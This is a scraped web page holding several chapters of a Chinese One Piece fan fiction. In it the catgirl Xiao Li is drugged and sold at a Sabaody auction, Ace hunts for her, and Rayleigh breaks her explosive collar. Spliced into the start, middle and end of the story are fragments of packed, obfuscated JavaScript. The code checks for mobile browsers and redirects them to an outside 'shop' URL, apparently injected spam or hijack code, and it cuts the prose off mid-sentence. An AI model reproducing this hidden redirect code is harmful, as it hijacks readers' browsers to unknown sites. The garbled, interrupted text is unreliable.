l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941771|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复叮嘱小狸锁好门、无论谁敲门都不要开、自己很快就会带晚餐回来后,他才独自离开。 小狸很听话。她乖乖待在房间里,起初还趴在窗边,看着外面梦幻的泡泡和渐变的天空,时间一点点过去,房间里的光线逐渐暗淡。她打开灯,坐在床边,尾巴无意识地轻轻拍打着床单,等待艾斯归来。 就在这时,一股极淡的、若有若无的甜腻气味,仿佛混合了劣质花香和某种化学制品的味道,悄无声息地从墙壁角落一个不起眼的装饰性通风口飘散出来。那气味太淡了,几乎被房间本身的木头气味和窗外飘来的食物香气掩盖。 小狸起初只是觉得空气有点闷,鼻子微微发痒。她站起身,想去打开窗户透透气。然而,刚走到窗边,一阵突如其来的、强烈的眩晕感猛地攫住了她!视野开始晃动,天花板上暖黄的灯光散成一片朦胧的光晕。四肢迅速变得酸软无力,仿佛被抽走了骨头。 “唔……?” 她发出一声短促而困惑的轻哼,下意识地伸手想扶住窗框,手指却软绵绵地滑开,身体不受控制地向前倾倒。在意识彻底沉入黑暗的最后一瞬,她模糊的视线似乎看到房门下方的缝隙外,有不止一双脚的阴影飞快掠过……耳边传来极其轻微的、门锁被巧妙拨动的“咔哒”声……还有一股陌生的、带着汗味和烟草气的男人气息涌入鼻腔…… 紧接着,是无边无际的、冰冷的黑暗。 …… 艾斯在不法地带的调查依旧毫无进展。那些情报贩子要么语焉不详,要么开出天价却提供毫无价值的垃圾信息,要么干脆就是黑胡子故意放出的假饵。他带着一身被愚弄的怒火和愈发沉重的不安,穿过渐渐亮起霓虹、显得更加光怪陆离的香波地街道,手里提着晚饭和之前提过的伟大航路仙贝。 越是接近旅馆,那种莫名的心悸感就越发强烈,像有一只冰冷的手攥住了他的心脏,缓缓收紧。走廊里安静得有些异常。他快步走到小狸房门前,深吸一口气,抬手敲了敲门。 “小狸?我回来了,开门。” 他的声音在安静的走廊里显得有些空洞。 没有回应。 “小狸?” 他加重了力道,又敲了敲,侧耳倾听。房间里一片死寂,连呼吸声都听不到。 不祥的预感如同冰冷的潮水,瞬间淹没了他!所有的冷静、理智都在这一刻被燃烧的恐惧取代!他后退半步,右肩猛地发力—— “砰!!!!” 坚实的木门在他全力一撞之下,门锁处的木头发出不堪重负的断裂声,整扇门向内猛地弹开,重重撞在墙壁上! 房间内,灯光依旧亮着,暖黄的光线笼罩着一室冰冷的空寂。窗户紧闭着,窗帘安静地垂落。床铺有些凌乱,似乎有人曾坐卧过,空气中,残留着一丝极淡的、甜腻的古怪气味 小狸的斗篷随意地搭在椅背上,她今天穿的外套也在,但她本人,却踪影全无 艾斯僵立在门口,手里提着的食物袋子“啪嗒”一声掉在地上,油纸包散开,烤肉的香气弥漫开来,却只让这空荡的房间显得更加讽刺和冰冷。他脸上的血色在瞬间褪得干干净净,那双总是燃烧着火焰的黑眸,此刻瞳孔急剧收缩,里面映出的只有空荡荡的房间和一种近乎狂暴的、冰冷的恐惧与怒火。 “小狸……?” 他喃喃道,声音嘶哑得不像自己的。随即,那低语化作了从胸腔深处爆发出的、野兽受伤般的嘶吼,裹挟着足以焚毁一切的怒焰,炸响在死寂的房间里—— “小狸!!!!!!” 该死的! 他猛地冲进房间,像一头被激怒的雄狮,疯狂地搜寻任何可能的线索。窗户锁死,没有强行打开的痕迹;房间内没有打斗的迹象;那股甜腻的气味……是迷药!是人贩子!他们趁他不在,用下作的手段迷晕了她,把她带走了! 无边的悔恨如同毒蛇啃噬着他的心脏。他为什么要留她一个人?他为什么没有更警惕?他为什么……没能保护好她?! “轰——!!!” 狂暴的橘红色火焰无法控制地从他周身爆燃而起!炽热的高温瞬间席卷了整个房间,窗帘、床单、木质家具的边缘开始焦黑卷曲,空气扭曲发出噼啪的哀鸣。 艾斯站在火焰的中心,低着头,黑发在热浪中狂乱飞舞,阴影遮住了他的眼睛,只有紧握的、骨节发白甚至微微颤抖的双拳,暴露着他内心濒临失控的暴怒与恐慌。 他猛地转身,燃烧着烈焰的目光如同死神的凝视,死死锁定了走廊尽头、闻声惊慌跑来的旅馆老板。 老板被他眼中那几乎要实质化的杀意吓得魂飞魄散,腿一软,瘫坐在地上,语无伦次:“客、客人……发、发生什么……” “人呢?” 艾斯的声音冰冷得如同极地寒冰,每一步踏出,脚下的木质地板都留下一个焦黑的脚印,滋滋作响。“住在这里的女孩。被谁带走了?往哪个方向?说。” 每一个字,都像是从牙缝里挤出来的,裹挟着毁灭的气息。 老板面如土色,在绝对的力量和恐怖的杀意面前,那点可怜的职业道德和地下交易的默契瞬间粉碎。他颤抖着手指,指向旅馆后门的方向,结结巴巴地吐出了一个地点,一个在香波地阴影深处、专门处理“特殊货物”的中转窝点。 艾斯没有再看他一眼。身影化作一道橘红色的炽热流光,裹挟着焚尽一切的怒焰,瞬间冲出了旅馆,朝着老板所指的方向,如同复仇的流星般划破了香波地渐浓的夜色。 45. 笼中猫 小狸首先恢复的知觉是触觉——一种冰冷、坚硬、带着细微锈蚀颗粒感的触感,紧密地贴合着她侧躺的脸颊和手臂裸露的皮肤。随之而来的是嗅觉,混杂着霉味、廉价消毒水、以及某种动物或人类长期囚禁后的沉闷体味。 她费力地掀开眼皮,下意识地想抬手揉一揉发痛的额角,手臂却传来金属摩擦的冰冷和阻碍感。 “唔……” 一声细微的呻吟从她干涩的喉咙里溢出。 她眨了眨眼,视野逐渐清晰。映入眼帘的,是上方纵横交错的、一拳粗细的漆黑金属栏杆,切割着天花板上那盏孤零零的、蒙着灰尘的昏黄吊灯。 一个笼子。一个比她在锈带见过的、用于关押变异兽的笼子更加坚固、更加精致、却也更加冰冷的笼子。 这个认知让她瞬间彻底清醒,惊慌地坐了起来 “哦?醒了?” 一个油滑中带着几分满意腔调的声音从笼子外传来。 小狸猛地循声转过头,笼子外面,站着一个穿着不合身黄色条纹西装、身材臃肿的中年男人。他留着两撇精心打理过、却依旧显得油腻的小胡子,正用一根镶嵌着宝石的手杖,漫不经心地敲了敲笼子的栏杆,发出“当当”的脆响。他旁边,一个贼眉鼠眼、穿着花哨衬衫的男人立刻谄媚地弓着腰,脸上堆满了夸张的笑容。 “老板您看!货色不错吧?” 瘦小男人指着笼子里的小狸,唾沫星子几乎要飞溅到笼子上,语气激动得像是展示一件稀世珍宝,“这耳朵,这尾巴!瞧瞧这毛色,这灵活度!绝对是真货!罕见的猫猫果实能力者?还是更稀有的……或者别的什么能力?您看看这脸蛋,这皮肤,这双眼睛。这品相,绝对值这个数!” 他伸出两根手指,用力地比划着,眼中闪烁着贪婪的精光。 被称为“老板”的臃肿男人没有立刻接话,只是微微俯下身,那双被肥肉挤得有些细小的眼睛透过栏杆的缝隙,如同评估牲口般,仔仔细细、毫无顾忌地打量着笼子里的小狸。他的目光扫过她因为初醒和惊恐而略显苍白的精致脸庞,掠过她微微压低的黑色猫耳,最后落在她因为紧张和寒冷而紧紧卷缩起来、试图藏到身侧的黑色长尾上。他甚至注意到了她手臂上的纹身,目光多停留了一瞬,但并未立刻指出其代表的含义。 拍卖场老板满意地点了点头,从鼻子里哼出一声:“嗯,确实稀有。毛发和形态都很自然,眼神也干净。” 他直起身,弹了弹西装上并不存在的灰尘,报出一个数字:“一千五,我要了。” “老板!您这……这价砍得也太狠了!” 人贩子立刻做出痛心疾首的表情,搓着手,“兄弟们为了弄到这只‘小猫’,可是冒了天大的风险!您看看这成色,这罕见度!拿到‘那些大人’面前,或者送到更高级的地下场,翻个三五倍都不成问题!这样,咱们都退一步,一千八!图个吉利!” 老板用眼角再次瞥了一眼小狸左臂上那个略显狰狞的骷髅纹身,眼底掠过一丝不易察觉的权衡。他慢条斯理地开口,语气却带着不容置疑的冰冷:“一千六。再多一个子儿,你们就带着她和她的麻烦,从哪儿来回哪儿去。” 他顿了顿,意有所指地补充,“你们也是好大的胆子,敢动‘白胡子’的人。我倒是要看看,除了joker大人的场子,这香波地还有谁敢接手这烫手山芋。” 这句话如同无形的鞭子,抽在瘦小人贩子身上。他脸上的谄媚笑容瞬间僵硬,额头渗出细密的冷汗,眼神里闪过强烈的后怕。他不再犹豫,立刻换上一副感激涕零、喜笑颜开的模样,连连鞠躬:“好嘞!好嘞!谢谢老板!谢谢老板高抬贵手!一千六就一千六!您真是慧眼识珠,大人有大量!” 老板随意地挥了挥手,仿佛赶走一只烦人的苍蝇。立刻有一个穿着黑色制服、面无表情的助理提着一个沉重的黑色皮箱走过来,“咔哒”一声打开箱扣,里面整整齐齐地码放着成捆的钞票。 “一千六百万,快滚。” 老板的声音没有丝毫温度。 瘦小人贩子几乎是扑上去接过皮箱,紧紧抱在怀里,点头哈腰,连一句完整的道别都没有,连滚带爬地消失在了仓库侧面的小门后,留下笼子里蜷缩成一团的小狸与那个被称为“老板”的臃肿男人隔着冰冷的栏杆,四目相对。 男人的目光再次落在她身上,这一次更加直接,更加肆无忌惮,从她凌乱的黑发,到她写满惊怒却难掩精致的五官,最后停留在那对敏感的猫耳和不安摆动的尾巴上。他的眼神里没有温度,只有商人看待货物价值的精确衡量,以及一丝掌握生杀予夺权力的优越感。 小狸被他看得浑身发毛,胃里一阵翻腾。她向后缩了缩,下意识想要离这令人作呕的视线远一点—— 就在她的后背刚刚触碰到冰冷漆黑的金属栏杆的瞬间! 一股抽空了所有力气和生机的虚弱感席卷了她全身,使她像被烫到一样坐直了身体 这是……海楼石?! 冰冷的金属触感仿佛直接连接到了记忆最深处那些不堪回首的片段……原来,即使跨越了世界,来到了这片看似自由的蔚蓝大海,有些东西依然没有改变。她终究还是逃不过被装在笼子里,贴上价码,当作“商品”等待出售的命运…… 为什么那么不小心?明明艾斯反复叮嘱过,明明自己也知道这里的危险……如果当时反应再快一点,如果对那阵怪风再多些警惕,如果锁门时再检查一遍那个不起眼的通风口……是不是就不会…… 所有的随身物品——艾斯给她的帽子、装着零钱和零食的小包、甚至老K留给她的那条项链——都不在身上了。艾斯一定已经发现自己不见了。他现在在哪里?是不是正疯狂地寻找她?他会找到这里吗? 不,不能完全依赖等待。在那之前,必须想办法自救才行。她用力咬了下舌尖,尖锐的痛楚让她混乱的思绪清晰了一些。她深吸一口气,强迫自己冷静下来。 这里像是一个仓库,光线主要来自天花板那几盏昏黄的吊灯。除了眼前这个臃肿的老板和他的助理,远处还有几个穿着统一制服的守卫在巡逻。空气里除了霉味,还隐约能听到远处传来的喧闹和音乐声,似乎连接着某个热闹的场所。 就在小狸快速观察环境时,那个老板从助理手中接过一个造型奇特、带着话筒和蜗牛壳的电话虫。他清了清嗓子,脸上那副高高在上、掌控一切的表情瞬间切换,变得无比谦卑甚至谄媚,腰都不自觉地弯了几分。 “……是的,巴法罗大人,是我,GR1的负责人……我有事想上报给joker大人……” 他的声音甜得发腻,语速很快,“不不不,和您说也是一样的,新到了一批货,其中有一个非常稀有的‘猫耳少女’,不像是毛皮族,应该是什么特殊的果实能力,品相极佳,但是可能和白胡子……是,我知道大人很忙,但是……,是,我会自己想办法,不过……是,您是干部,当然……什么?joker大人今天可能会来!?……不,完全没有问题,我一定做好准备,请您放心……” 挂了电话,老板脸上那谦卑的笑容瞬间消失,取而代之的是一股混合着恼怒、嫉妒和不忿的阴沉。他狠狠地将电话虫塞回助理手里,朝着地上“呸”地啐了一口,低声骂骂咧咧: “妈的,装什么大尾巴狼!巴法罗那个蠢货,不就是仗着多弗朗明哥大人那点情意吗?要不是这样,那个‘干部’的位置,现在坐的是谁还不好说呢!叫你一声干部,还真把自己当个人物了,对老子呼来喝去……” 他越想越气,脸色涨红,目光扫过周围,最终落在了关着小狸的笼子上,仿佛找到了发泄怒气的对象。他猛地抬起穿着锃亮皮鞋的脚,狠狠地踹在了笼子坚固的栏杆上! “哐当——!” 巨大的声响和震动让整个笼子都摇晃起来!蜷缩在里面的小狸配合地发出一声短促的惊叫,身体剧烈地瑟缩了一下,将脸更深地埋进臂弯,肩膀微微颤抖,一副被吓坏了的可怜模样。实际上,她的耳朵却在全神贯注地捕捉着刚才电话里和男人自言自语中的每一个关键词——joker……是那个七武海多弗朗明哥!拍卖?这些信息如同烧红的烙铁,深深印刻在她的脑海里。 男人踹了一脚似乎还不解气,但看着“商品”瑟瑟发抖的样子,又顾忌着别真踢坏了影响卖相,这才愤愤地收回脚,整理了一下歪掉的领带,冲着不远处的手下厉声交代: “都听到了?!多弗朗明哥大人今天下午可能会亲自过来!动作都给我麻利点!把仓库里的货都重新整理一遍,特别是这只小猫,准备当做下午场的压轴!抓紧时间脱手!白团的人不是好惹的,要是被他们顺藤摸瓜抓住把柄,我们谁都别想好过!快点把消息给那些有实力的‘大人物’、还有喜欢收集稀有种的贵族老爷们发出去!看什么呢!现在就给我动起来!” 不久后,小狸被粗暴地从笼子里拉了出来。一个冰冷的、带着复杂机械结构的金属项圈,“咔哒”一声,紧密地扣在了她纤细的脖颈上。守卫冷冰冰地告诉她,这是特制的爆炸项圈,强行拆除或试图用能力破坏都会立刻引爆,并且项圈内部含有海楼石成分。 果然,项圈扣上的瞬间,那股熟悉的、令人浑身无力的滞涩感再次蔓延全身,比触碰笼子栏杆时更加清晰持久。 现在周围守卫众多,环境陌生,项圈在身,硬闯逃跑无异于自杀。小狸垂下眼帘,掩去眸中所有的情绪,做出一副彻底被吓坏、惊恐无助、只能瑟瑟发抖任人摆布的小女孩模样。她顺从地任由守卫牵着连接项圈的锁链,没有做出任何反抗或挣扎的动作,甚至因为“害怕”而脚步踉跄,显得柔弱可怜。 这副姿态显然让守卫十分满意。“知道听话就好,能少受些苦头。” 守卫哼了一声,语气稍微缓和了一点,但牵着锁链的手丝毫没有放松。他牵着小狸,穿过堆满货物的仓库,七拐八绕,走向更深处。 因为小狸是“今天就要脱手”的“重要商品”,守卫也乐得轻松,并没有被送去进行更详细的检查,只是被简单地推进了一间空着的牢房。锁上门,检查了一下项圈指示灯,确认正常后,便转身离开了。一个戴着海楼石爆炸项圈、看起来柔弱惊恐的小女孩,在这固若金汤的地下牢房里,根本翻不起任何浪花。 沉重的脚步声逐渐远去,小狸紧绷的身体微微放松了一些,但警惕丝毫没有降低。她走到牢房的角落,不行,不能坐以待毙。她再次尝试调动能力,心念微动,身体轮廓开始模糊,变回那只更加娇小灵活的黑猫形态,看看能否让项圈因为体型变化而松动甚至脱落。 然而,虽然手铐应声落地,但变化刚一开始,脖颈上的金属项圈仿佛拥有生命般同步收缩,依旧紧密地箍在她的脖子上……现在是猫脖子上了。小黑猫形态的她,脖子上套着一个比例略显夸张的金属环,显得更加怪异。 “没用的。” 一个沉稳而略带沙哑的声音从对面的牢房里传来,打破了寂静。 小猫吓得浑身毛发一炸,倏地变回人形,湛蓝的猫瞳瞬间转向声音来源,充满了警惕和一丝被窥破的窘迫。 对面牢房里,光线比这边更暗,但夜视极强的小狸能看清一个身影正随意地坐在地上。那人穿着衬衫和长裤,脚上是普通的凉鞋。一头银白色的短发整齐地向后梳着,露出宽阔饱满的额头,眼镜下是一双即使在昏暗光线下也显得异常明亮、仿佛能洞悉一切的眼睛。他脸上带着有些玩味的笑意,手里似乎还拿着一个扁平的金属酒壶,正仰头喝了一口。那姿态,不像是身陷囹圄的囚徒,倒更像是在自家后院晒太阳的闲散老者。 “那种特制的项圈,内部有精密机括和感应装置,一般的变化能力或者蛮力,是弄不开的。” 老者放下酒壶,用袖口随意擦了擦嘴角,目光饶有兴致地落在小狸身上,尤其是她脖子上那个闪烁红光的项圈,“不过……有意思。” 他微微眯起眼睛,那双历经沧桑的眼眸中闪过一丝探究,“明明戴着掺了海楼石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说到最后,或许是想到自己现在的处境,她又有点蔫地小声嘀咕了一句,尾巴懊恼地重重拍打了一下地面,扬起一小片灰尘。 “两千万?” 雷利抬了抬眼皮,哄孩子般露出一丝恰到好处的的惊讶,随即化为了带着怀念和调侃的复杂笑容,“纽盖特那个老家伙……居然还这么活跃在海上啊。收了一船的儿子还不够,连这么小只的猫都捡回去养了?他那把老骨头,还禁得住你们这些小鬼头整天折腾吗?” “不许你这么说老爹!” 小狸瞬间炸毛,即使隔着牢笼也对着雷利龇了龇牙,“大叔你真的很没有礼貌!我要对你不客气了!” 她挥了挥没什么威慑力的拳头。 “哈哈哈哈哈!不过我自己也是个老东西了” 雷利笑得更大声了,甚至笑出了眼泪,他用手指抹了抹眼角,“不客气?哈哈哈哈!你现在被关在笼子一样的牢房里,戴着爆炸项圈,连能力都用不顺畅,打算怎么对我不客气啊?用眼神瞪死我吗?哈哈哈哈!有趣,太有趣了!” 小狸憋红了脸,被他笑得又羞又恼,偏偏无法反驳,只能鼓着腮帮子,用自以为最凶狠的眼神瞪着他,可惜那眼神在雷利看来,跟撒娇的幼猫没什么区别。 雷利笑了好一阵子才慢慢停下,肩膀还因为余韵微微抖动。他仰头又喝了一大口酒,长长地舒了口气,仿佛这地牢里的浊气都被这笑声驱散了一些。 过了一会儿,小狸也慢慢反应过来,这个奇怪的白发大叔虽然嘴巴坏,喜欢捉弄人,但似乎……并没有真正的恶意。她哼了一声,扭过头不去看他,但紧绷的肩膀和竖起的耳朵却悄悄放松了一些,尾巴也不再死气沉沉,开始有一搭没一搭地轻轻晃动,拍打着地面。 雷利逗够了孩子,心满意足地咂咂嘴,像是忽然想起什么似的,将酒壶放在一边,带着点随意的问道:“说起来……艾斯那小子,最近还好吗?” 小狸的耳朵瞬间再次警惕地竖了起来,她没有立刻回答,湛蓝的猫瞳在昏暗光线下审视着雷利平静的脸,谨慎地反问道:“大叔……你认识我们队长吗?” 雷利笑了笑,那笑容里带着一种看穿她小把戏的了然,但并没有点破。他的目光似乎飘远了一瞬,语气依旧平淡:“算是吧,有过几面之缘。” 听到对方似乎真的认识艾斯,而且语气中并无敌意,小狸稍微放松了一点戒备。她垂下眼帘,看着自己脏兮兮的鞋子,简短地回答:“……他很好。很有精神。” 想了想,又忍不住小声补充了一句,带着点不易察觉的骄傲,“也很强。” “是么,那就好。” 雷利点了点头,不再多问,重新拿起了酒壶,仿佛刚才只是随口提了一句天气。 两人之间再次陷入沉默。但这一次的沉默,却比刚才小狸独自一人时要松缓许多 雷利的目光落在对面牢房里那个明明害怕却努力保持镇定、甚至还会为了维护家人而鼓起勇气“龇牙”的少女身上,那双深邃的眼眸中闪过一丝极其不易察觉的兴味。 在这种环境下,面对囚禁还能这么快地强迫自己冷静下来,甚至还能保有这份警惕心和一点可爱的“小脾气”……而且,听她刚才无意中透露和观察她的反应,似乎还藏着些有趣的特殊能力,并非简单的动物系。 新生代的小家伙们,都很了不得啊。他在心里无声地笑了笑,像是看到了无限可能的未来。 他又仰头喝了一口酒,辛辣的液体滑过喉咙。他的目光仿佛拥有了穿透力,能越过厚重的地牢石壁,穿过香波地错综复杂的街道和层层叠叠的梦幻泡泡,精准地“看到”远方,一股炽热无比的气息,正以惊人的速度逼近这个藏污纳垢的角落。 看来,这小猫的家人就快到了。 还真是个一点就炸的小子啊,和他那个老爹年轻时,倒是有几分相似的脾气。雷利嘴角的弧度加深了些。 在那之前,这个有趣的小家伙…就陪自己这个老头子,再多待一会儿吧。 46. 西尔巴兹雷利向他问好 香波地群岛的午后街道,光影被巨大的红树树冠切割得支离破碎,漂浮的七彩泡泡悠闲地上升,折射着虚假的宁静。 艾斯面色阴沉的踏在红树根构成的地面上,空气因他而微微扭曲,细小的尘埃在离他身体几寸之外便不安地颤动、逃逸。路过的行人,无论是行色匆匆的海贼、衣着华丽的商人,还是趾高气扬的贵族随从,在与他擦肩而过的瞬间,无不本能地噤声、缩颈,下意识地拉开距离。 他刚刚“拜访”了几个人贩子窝点。没有迂回,没有谈判,只有最直接、最暴烈的方式——裹挟着怒焰的拳头和质询。焦黑的痕迹、瘫软的躯体、和濒临崩溃的哭嚎,是他留下的名片。从那些破碎的求饶和零散的信息中,他拼凑出了最可能的去向——GR1区域,人类拍卖场。 心脏像被一只冰冷的手死死攥住,每一次跳动都牵扯着尖锐的疼痛和焚心的焦虑。直到他亲眼看到路边一个穿着侍者服的男人正在派发、却被他不小心撞落在地的烫金宣传单——那上面,用华丽浮夸的花体字印刷着今日的“特别推荐”: 【绝世珍品!压轴登场!】 来自未知海域的奇迹! 罕见猫耳少女,兼具野性魅惑与纯净气质! 疑似珍稀动物系能力者,品相完美,活力十足! 绝对不容错过的收藏盛宴! 配图虽然模糊处理过,但那隐约的轮廓、黑色的发丝,以及特意勾勒出的、尖尖的耳部阴影…… 找到了! 悬着的心猛地坠落,却不是落地安心的解脱,而是砸进了一片沸腾的、名为狂怒与杀意的岩浆深潭!他的小狸,他珍视的、想要捧在手心里保护的人,竟然……竟然被当作一件可以标价、可以展示、可以争夺的“商品”,摆在了拍卖台上! 不可原谅! 他迈开脚步,目标明确,所过之处,空气燥热扭曲,行人避之唯恐不及,连巡逻的海军士兵都在触及他眼神的瞬间,明智地选择了移开视线,假装忙碌。 拍卖场那栋装饰华丽、却透着虚伪与铜臭的建筑就在眼前。穿着考究制服、脸上挂着标准化微笑的侍者刚想上前询问,却在看清艾斯阴沉得能滴出水来的脸色,以及他裸露后背上那个醒目的、带着弯月胡子的白胡子海贼团刺青时,脸上的笑容瞬间僵死,血色褪尽,腿肚子不受控制地打起颤来,哪还敢有半点阻拦或询问的念头,几乎是连滚带爬、战战兢兢地将这尊煞神引了进去,恨不得立刻消失在对方恐怖的视线范围内。 拍卖会已经开始了有一会儿。内部空间比外面看起来更加宽敞奢华,水晶吊灯折射着炫目的光芒,空气里弥漫着高级香水、雪茄和一种金钱与欲望混合的甜腻气味。环形上升的观众席上坐满了形形色色的人:衣着华贵、表情淡漠或带着猎奇兴奋的贵族富豪;目光精明、评估着“货物”价值的各路买家;以及一些气息彪悍、显然别有目的的海贼或地下势力成员。 舞台上,一个戴着浮夸彩色眼镜和小礼帽的男人,正用极具煽动性的嗓音,唾沫横飞地介绍着当前的拍品: “……女士们先生们!请保持耐心!我们的拍卖马上就要进入最激动人心的环节!但在那之前,请允许我向各位隆重介绍这件不容错过的‘前菜’!” 他手臂夸张地一挥,指向舞台侧方被推上来的一个铁笼。 笼子里,关着一个衣衫褴褛、神色憔悴的长手族女性,看起来三十多岁。她低垂着头,长长的双臂无力地垂在身侧,目光空洞地望着笼底,对周围的喧嚣、对自身处境,似乎都已彻底麻木,放弃了所有希望。 “瞧这优越的种族天赋!身体健康,无不良嗜好!无论是作为劳力还是……咳咳,某种特殊收藏,都极具潜力!起拍价仅需70万贝利!每次加价十万!机不可失!” 台下响起几声稀稀拉拉的、带着评估意味的报价声。对于这里的常客而言,这不过是餐前开胃的小点心,真正的“大餐”还在后面。 艾斯对这一切视若无睹。他如同一道沉默的阴影,径直走到观众席后方一个不起眼的角落位置,坐下。帽檐压得极低,几乎遮住了上半张脸,只露出紧抿的、线条冷硬的唇和下颌。但他那双隐藏在阴影中的眼睛,却如同锁定猎物的鹰隼,死死地、一眨不眨地盯着拍卖台,以及后方那片厚重的、隔绝后台的帷幕。他不能确定她到底在不在这里,现在能做的,唯有等待 …… 与此同时,拍卖场二楼,视野最好、装饰最为奢华的那个包厢内。 巨大的单向玻璃窗前,一个身材高大、穿着粉红色羽毛大衣、戴着浮夸太阳镜的金发男人,正以一种极其放松甚至略带慵懒的姿态,翘着腿坐在天鹅绒沙发里。他嘴角习惯性地咧开一个夸张的、仿佛永远在笑的弧度,手指有一下没一下地敲打着沙发的扶手。 唐吉诃德·多弗朗明哥。 一个穿着黑色西装、额角冒汗的手下,正弓着腰,用尽可能平稳却依旧掩饰不住颤抖的声音,向他汇报着楼下刚刚发生的情况。 “呋呋呋呋呋……” 听完汇报,明哥发出一阵标志性的、仿佛从喉咙深处挤压出来的低笑声,那笑声里充满了玩味、兴味,以及一丝冰冷的残忍,“火拳艾斯……白胡子那个老家伙最宝贝的二队长,居然跑到我的场子里来了?……呋呋呋……有趣” 他微微偏头,透过太阳镜,目光似乎能穿透包厢的阻隔,精准地“看”到楼下那个角落里压抑着怒火的年轻人。 “看来,今天这场无聊的拍卖,终于有点意思了。” 他舔了舔嘴角,像是在期待一场好戏的开场,“盯紧了,看看他到底想做什么……” 手下冷汗涔涔,连忙躬身应是,退出了包厢。 …… 阴暗潮湿的地下牢房。 蜷缩在角落的小狸,忽然毫无征兆地动了动鼻子,那双一直耷拉着的黑色猫耳,瞬间如同最灵敏的雷达般笔直竖起,尖端微微转动。 尽管周围充斥着霉味、尘土味、金属锈味,以及从其他牢房飘来的绝望气息,但她的敏锐嗅觉,还是从这片浑浊之中,精准地捕捉到了一丝……熟悉到刻入灵魂的气息! 是艾斯!他来了!就在上面! 小狸猛地从地上弹了起来,心脏因为激动和希望而剧烈狂跳,蓝色的猫瞳在昏暗光线下骤然亮起惊人的光彩。她转向隔壁牢房,语气急促却带着不容置疑的坚定,对那个还在悠闲喝酒的白发老者说: “大叔!我的家人来接我了!我得走了!那个项圈的问题……之后再说!” 话音未落,她甚至不等雷利回应,周身光芒微闪,身形迅速缩小——眨眼间,一只通体漆黑、只有那双蓝眼睛依旧明亮的小猫,轻盈地落在了冰冷的地面上。小黑猫体型娇小,灵巧得不可思议,她看准牢笼栏杆之间那对于人类来说绝不可能通过的狭窄缝隙,身体如同没有骨头般柔软地一缩、一钻,便悄无声息地从牢笼内部来到了外部走廊的阴影中。她迅速将身体压得极低,几乎与地面阴影融为一体,朝着牢房入口的方向悄然而迅捷地潜行而去。 变故发生得太快,外面的侍者刚好进来取今天的压轴产品,使得看守地牢的两名守卫很快发现了异常——那个关押“重要商品”的牢笼里,空空如也! “不、不见了?!那个猫耳丫头跑了!” 惊恐的喊叫声瞬间打破了地牢的死寂! “快找!她跑不远!肯定还在地牢里!” 另一名守卫又惊又怒,拔出了腰间的武器,目光慌乱地扫视着昏暗的走廊和角落阴影。 项圈的红光使小黑猫的潜行被发现,一名守卫眼尖地瞥见了墙角一闪而过的黑色身影! “在那里!” 守卫怒吼,同时下意识地举起了手中那个连接着爆炸项圈的控制器,脸上闪过一丝狠厉,“想跑?没那么容易!” 他的拇指,毫不犹豫地朝着控制器上那个醒目的红色按钮狠狠按了下去! 千钧一发! 就在那致命的按钮即将被触实的电光石火之间—— 一道身影,快得超出了视觉捕捉的极限,如同瞬移般出现在了小黑猫的身侧!是雷利! 他依旧穿着那身破旧的衣衫,脸上甚至带着点无奈的笑意,但动作却精准、简洁、高效得令人窒息!他的右手五指并拢,霸气瞬间覆盖,精准无比地、在项圈爆炸指令传递完成的最后一刹那,捏住了小狸脖颈上那个冰冷的金属环! “咔嚓!” 一声轻不可闻却清脆无比的断裂声响起。 那足以炸碎钢铁、夺走生命的特制项圈,如同脆弱的玩具般,被雷利包裹着霸气的手指轻而易举地、完整地从中间捏断、扯离!他甚至有余暇手腕一抖,将那断裂的项圈像扔垃圾一样,随手掷向远处空旷的墙角—— 轰隆——!!! 被暴力拆除、内部机括已然启动的项圈在远处轰然爆炸!橘红色的火光伴随着震耳欲聋的巨响和强劲的冲击波猛然绽放,震得整个地牢簌簌颤抖,尘土和碎石簌簌落下! 爆炸的火光映亮了雷利平静的脸,和他另一只已然化为手刀、同样覆盖着漆黑霸气的手。 “咚!咚!” 两声沉闷的敲击声几乎同时响起。 那两名还保持着惊怒表情、根本没看清发生什么的守卫,只觉得后颈传来一股恰到好处的力量,眼前一黑,便彻底失去了意识,软软地瘫倒在地。 尘埃缓缓飘落。 小黑猫惊魂未定地变回人形,纤细的手指颤抖着摸向自己完好无损、只残留一丝冰凉触感的脖颈,又看向远处爆炸的硝烟和地上昏迷的守卫,湛蓝的眼眸里充满了后怕与难以置信的震撼。她抬起头,看向那个仿佛只是随手拍死了两只蚊子的白发老者,嘴唇动了动,最终,真心实意地、带着劫后余生的庆幸说道: “谢、谢谢你,大叔!你其实……人还不坏,是个好人!” “噗——哈哈哈!” 雷利闻言,像是听到了什么极其荒谬又好笑的事情,忍不住放声大笑起来,用力揉了揉自己银白色的头发,“居然被个小丫头发‘好人卡’了?哈哈哈!有意思!太有意思了!多少年没听过这种评价了!哈哈哈哈!” 爽朗的笑声在地牢里回荡,驱散了刚才的杀机和紧张。 小狸没时间再耽搁,她快速在守卫身上和旁边的物品堆里找到了自己被收走的东西,她把小包系在腰上,调整了下项链的位置。 当她准备离开时,却看到雷利已经自顾自地走回了他的牢房,甚至不知从哪里又摸出了那个酒壶,惬意地喝了一口,完全没有要离开的意思。 “你不走吗?大叔?” 小狸疑惑地问,指向地上昏迷的守卫和远处炸开的牢门,“其实这里根本关不住你吧?” “哈哈哈,” 雷利喝了一口酒“我还没等到愿意出钱‘买’我的人呢。没人买我,我又找谁‘借’点钱花花呢” 他晃了晃空了的酒壶,语气理所当然。 小狸看着他这副乐在其中的样子,跺了跺脚:“怪大叔!懒得理你了!” 她转身就要朝着出口奔去。 身后却传来雷利带着笑意的、悠然的声音:“喂,小猫咪。” 小狸脚步一顿,没有回头,耳朵却转向了后方。 “等回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 